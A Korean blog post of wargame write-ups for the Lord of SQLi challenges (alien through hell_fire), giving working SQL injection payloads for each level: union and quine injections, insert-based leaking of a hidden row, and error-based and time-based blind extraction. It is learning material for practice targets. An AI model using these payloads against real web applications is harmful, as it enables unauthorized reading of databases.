M4ndU의 만두만두한 블로그

alien

쿼리가 2개다.

query : select id from prob_alien where no=

query2 : select id from prob_alien where no=''

음?

query와 query2의 차이는 no= 다음에 ''가 있냐 없냐의 차이

query를 실행해서 나온 id가 admin이 아니면 죽고, admin이어도 죽는다.

query2를 실행해서 나온 id가 admin이면 죽고, admin이면 문제가 풀린다.

.................................? 뭘까?

50%확률로 admin을 return하면 되는 것일까..

query와 query2를 모두 동일한 명령으로 만드는 법:

?no=1 union select 1#' union select '1

query : select id from prob_alien where no=1 union select 1#' union select '1

query2 : select id from prob_alien where no='1 union select 1#' union select '1'

query에서는 #앞에가 실행되고, 뒤는 주석처리

query2에서는 #이 ''안의 문자열로 취급, 뒤 실행

?no=1%20union%20select%20concat(lower(hex(10%2b(!sleep(1)%26%26now()%2=1))),%200x646d696e)%23%27%20union%20select%20concat(lower(hex(9%2b(!sleep(1)%26%26now()%2=1))),%200x646d696e)%23%20

현재 시간에 따라 0이 될 수도 있고 1이 될 수도 있고 이를 이용

시간으로 admin을 내보낼지 bdmin을 내보낼지를 정함.

sleep(1)을 사용하여 처음에 admin이 되면 다음은 무조건 bdmin이 되도록.

ALIEN Clear!

문제들이 너무 어렵다. 풀이 참고하면서 이런 기법들도 있구나 하고 알아가는 정도로 넘어가야 겠다..ㅠㅠ

처음 내가 생각했던 방향과 얼마나 일치하는지도 보고,,,

zombie

음 이전 문제랑 뭐가 달라졌을까..

필터링 부분을 보면 ace를 필터링한다. 이는 replace을 필터링 하겠다는 것이다.

그래서 이전 문제에서 사용했던 페이로드를 사용할 수 없다..

+ 여전히 테이블은 텅텅 비어있다.

information_schema DB에 processlist 라는 테이블이 존재하는데, 해당 테이블의 INFO 칼럼에 이전에 실행했던 쿼리문이 저장되어있다고 한다.

' union select substr(info, 38, 72) from information_schema.processlist%23

ZOMBIE Clear!

ouroboros

우로보로스

와 소스코드가 짧아졌다!

query : select pw from prob_ouroboros where pw='1' or pw like '%'

query : select pw from prob_ouroboros where pw='1' or 1=1#'

흠.. 테이블에 아무것도 없는 것 같다.

테이블에 직접 데이터를 넣어줘야 할 것 같다. (개꿀문제가 아니었어 ㅠㅠ)

예전에도 테이블이 텅텅빈 문제가 있었던 것 같은데.. 찾아봐야 겠다.

https://mandu-mandu.tistory.com/333

uinon을 사용하자!

query : select pw from prob_ouroboros where pw='1' union select 1#'

Pw : 1

 if(($result['pw']) && ($result['pw'] === $_GET['pw'])) solve("ouroboros");

근데 1' union slect 1%23 과 1을 어떻게 같게 하지..

Quine 이라는 것이 있다!

Quine Sql Injection

https://blog.rwx.kr/quine-sql-injection/

?pw=1%27%20union%20SELECT%20REPLACE(REPLACE(%271"%20union%20SELECT%20REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$")%20AS%20Quine%23%27,CHAR(34),CHAR(39)),CHAR(36),%271"%20union%20SELECT%20REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$")%20AS%20Quine%23%27)%20AS%20Quine%23

OUROBOROS Clear!

https://www.shysecurity.com/post/20140705-SQLi-Quine

코게 문제에도 나왔었다고 한다.

PHANTOM

상단에 ip와 email이 나오는 테이블이 있다.

소스:

  if($_GET['joinmail']){
    if(preg_match('/duplicate/i', $_GET['joinmail'])) exit("nice try");
    $query = "insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','{$_GET[joinmail]}')";
    mysqli_query($db,$query);
    echo "<hr>query : <strong>{$query}</strong><hr>";
  }

6~11행에서는 joinmail을 get방식으로 받는다.

입력값에서 duplicate라는 문자열을 필터링 하는데, duplicate가 있으면 nice try 라고 하고 죽어버린다.

duplicate와 비슷한 것들을 이용해야하는 건가..?

$rows = mysqli_query($db,"select no,ip,email from prob_phantom where no=1 or ip='{$_SERVER[REMOTE_ADDR]}'");
  echo "<table border=1><tr><th>ip</th><th>email</th></tr>";
    while(($result = mysqli_fetch_array($rows))){
    if($result['no'] == 1) $result['email'] = "**************";
    echo "<tr><td>{$result[ip]}</td><td>".htmlentities($result[email])."</td></tr>";
  }

13~18행

no=1 or ip = '내 아이피' 에 있는 no, ip, email을 가져온다.

no가 1 이면 email을 *로 표시한다.

$_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_phantom where no=1 and email='{$_GET[email]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['email']) && ($result['email'] === $_GET['email'])){ mysqli_query($db,"delete from prob_phantom where no != 1"); solve("phantom"); }

no가 1인 것의 email을 구해야 문제가 풀린다.

쿼리들을 순서대로 본다면, INSERT -> SELECT -> DELETE

값을 집어넣고, 가져와서 비교하고, 집어넣은 것들을 다시 없애기(초기화)

insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','{$_GET[joinmail]}')

no = 0, ip, email 순서로 insert를 한다.

ip에 내 아이피가 들어가고, 

select no,ip,email from prob_phantom where no=1 or ip='{$_SERVER[REMOTE_ADDR]}'

여기서 내 아이피인 것도 가져오기 때문에, 위에서 삽입한 행도 불러온다.

위에서 행을 삽입할 때, email을 no=1인 email을 복제해서 넣는다면 복제된 email을 볼 수 도 있을 것이다.

joinmail = hihi'), (10,'xxx.xxx.xxx.xxx','hello')%23

이렇게 하면 한 번에 값을 두개 넣을 수 있다.

그래서 이런 것을 시도해 봤다.

hihi'), (10,'xxx.xxx.xxx.xxx',(select email from prob_phantom where no=1))#

no=1인 것의 email을 가져와 넣는 것이다. 하지만 되지 않았다..

이유를 찾아보니..같은 테이블에서는 오류가 나는 것이었다.

임시테이블을 만들어서 그 임시테이블의 값을 가져온다면?

hihi'), (12,'xxx.xxx.xxx.xxx',(select e from (select email as e from prob_phantom where no=1)as t) )#

이제 나온 email을 파라미터로 전달하자.

PHANTOM Clear!

frankenstein

와 프랑켄슈타인

...

소스 보자

pw만 get방식으로 받는다.

이번에도 pw를 구해야 한다.

근데 frankenstein이 아닌 admin이 id인 것의 pw를 구해야 한다.

if(mysqli_error($db)) exit("error"); 가 있기 때문에 error based sqli로 풀면 될 것 같다.

( 와 ) 를 사용할 수 없기 때문에 if를 case when then end로 우회를 했다.

또한, length()나 substr()을 사용할 수 없기 때문에, like와 %를 사용했다.

?pw=' or id='admin' and case when pw like '0%' then 1 else 9e307*2 end%23

pw like '0%' 가 true이면 1을, false이면 9e307*2를 반환.

9e307*2는 error을 만들어 낸다.

9e307보다 큰 수면 error가 나는데, 구문 자체에 9e308등의 수를 넣으면 그 구문자체가 error가 나버려서 true false 판별을 못한다.

exploit.py

FRANKENSTEIN Clear!

blue_dragon

파란 용용이

소스를 보자

'랑 \을 필터링한다.

근데 이 필터링을 쿼리를 실행하고서 필터링을 한다. 따라서 '이나 \을 넣어도 쿼리는 실행된다. 다만, 결과가 No Hack으로만 나올 뿐이다.

이때 time based sql injection을 사용하면 된다. 그럼 쿼리가 실행되서 그 결과를 시간으로 구별할 수 있다.

?id=admin' and if(length(pw)>0,sleep(1),0)%23

length(pw)>0이 참이면 sleep(1)을 반환한다.

time based sqli

https://mandu-mandu.tistory.com/331

?id=admin%27%20and%20if(length(pw)=8,sleep(1),0)%23

pw의 길이는 8이다.

ex.py

BLUE_DRAGON Clear!

red_dragon

빨간 용용이

소스를 보자

if(strlen($_GET['id']) > 7) exit("too long string");

id의 길이가 7보다 크면 안된다.

$no = is_numeric($_GET['no']) ? $_GET['no'] : 1;

?는 if와 의미가 같다.  조건 ? True : False

no의 값이 숫자가 아니면 1을 반환한다.

 $query = "select no from prob_red_dragon where id='admin'"; // if you think challenge got wrong, look column name again.
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['no'] === $_GET['no']) solve("red_dragon");

id가 admin인 것의 no값을 가져와서 입력한 no값과 같으면 된다.

id=admin'%23 으로 입력해주면 쿼리가

query : select id from prob_red_dragon where id='admin'#' and no=1 로 되어서 admin이 나온다.

이제 no값을 찾아내야 한다.

쿼리에 && no>10 이런 형태를 유도해야한다.

id에 넣을 값을 줄여볼까..

#은 한줄 주석임을 이용해서 and no=을 날려주고

id에 '|| no> 을 넣고 no에 \n1을 넣어주면 쿼리가 id=''||no>1이 될 것이다.

id=%27||no>%23&no=%0a1

query : select id from prob_red_dragon where id=''||no>#' and no= 1

hello admin이 잘 튀어나온다. 이걸로 범위를 구해보자

최대범위

query : select id from prob_red_dragon where id=''||no<#' and no= 1000000000

최소범위

query : select id from prob_red_dragon where id=''||no>#' and no= 100000000

저번에 사용했던 이진탐색 알고리즘을 또 우려먹자!

마지막 값에 1 더하면 그게 no값이다.

green_dragon

녹색 용용이

소스를 보자.

쿼리를 두 번 실행한다.

id와 pw값을 받아서 쿼리를 실행한 후에 결과값이 있으면

결과값의 id와 pw를 이용해서 쿼리를 실행하고 id가 admin이면 문제가 풀린다.

\을 이용해서 '을 우회해보았다.

https://los.rubiya.kr/chall/green_dragon_74d944f888fd3f9cf76e4e230e78c45b.php?id=admin\&pw=or%20id=0x61646d696e%23

query : select id,pw from prob_green_dragon where id='admin\' and pw='or id=0x61646d696e#'

흠.. 반응이 없다.

아에 prob_green_dragon 테이블에 값이 없는 것으로 보인다.

union으로 결과를 합쳐주면 된다.

https://www.w3schools.com/sql/sql_union.asp

?id=\&pw=%20union%20select%201,2%23

query : select id,pw from prob_green_dragon where id='admin\' and pw=' union select 1,2#'

query2 : select id from prob_green_dragon where id='1' and pw='2'

query2까지 잘 나온다.

이제 query2에서 admin이 나오도록 우회를 시도하면 된다.

query2를 where id='\' and pw='union select 0x61646d696e#'

으로 만들어주면 된다.

id에는 \가 들어가야되고 pw에는 union select 0x61646d696e#이 들어가야 한다.

https://www.branah.com/ascii-converter

여기서 hex값으로 바꿔서 넣어주자.Convert white space characters 에 체크, Remove 0x에 체크하고

나온 hex값 앞에 0x를 붙여주면 된다.

최종 url

?id=\&pw=%20union%20select%200x5c,0x756e696f6e2073656c6563742030783631363436643639366523%23

hell_fire과 코드상에서 다른 점이라면 

if(preg_match('/prob|_|\.|proc|union|sleep|benchmark/i', $_GET[order])) exit("No Hack ~_~");

필터링이 추가된 것밖에 보이지 않는다.

덕분에 이전 문제에서 time based sql injection을 사용했던 방법을 이용할 수 없게 되었다.

이전 문제에서 시도했던 if(id='admin' and length(email)>0,id,score) 이 것은 여전히 참 거짓 구분이 작동이 안된다.

이번에는 exp(710)을 사용해서 error based sql injection을 사용했다.

order by (select exp(710) where 0<(select length(email) where id='admin'))

참이면 결과를 표시하지 않고, 거짓이면 결과를 표시한다.

https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php?order=(select%20exp(710)%20where%2030=(select%20length(email)%20where%20id=%27admin%27))

이메일의 길이는 30이다.

글자는 아래와 같은 방법으로 찾으면 된다.

query : select id,email,score from prob_evil_wizard where 1 order by (select exp(710) where 'a'=(select substr(email,1,1) where id='admin'))

문제 소스:

코드와 함께 테이블이 주어진다.

order by 뒤에 if문을 사용할 수 있다.

order by if(id='admin' and length(email)>0,id,score) 로 하면 id='admin' and length(email)>0 이 참일때 id를 반환하여 order by id가 되어 admin이 맨 처음 표시되고, 거짓일때 score을 반환하여 order by score이 되어 score이 100인 rubiya가 맨 처음 표시되어야 한다. 이를 이용해서 email의 길이와 각 자리글자씩 구해내면 된다.

위 방법을 이용하면 되야 하는데,,, 참 거짓 구분이 안된다.. 무조건 rubiya가 최상단에 뜬다.

그래서 sleep함수를 이용해서 참일 때 1초 지연시키도록 해보았다.

if(id='admin' and length(email)>0,sleep(1),id)

개발자도구의 Network를 이용하면 확인해 볼 수 있다.

https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php?order=if(id=%27admin%27%20and%20length(email)=28,sleep(1),id)

email의 길이는 28이다.

Time Based Blind SQL injection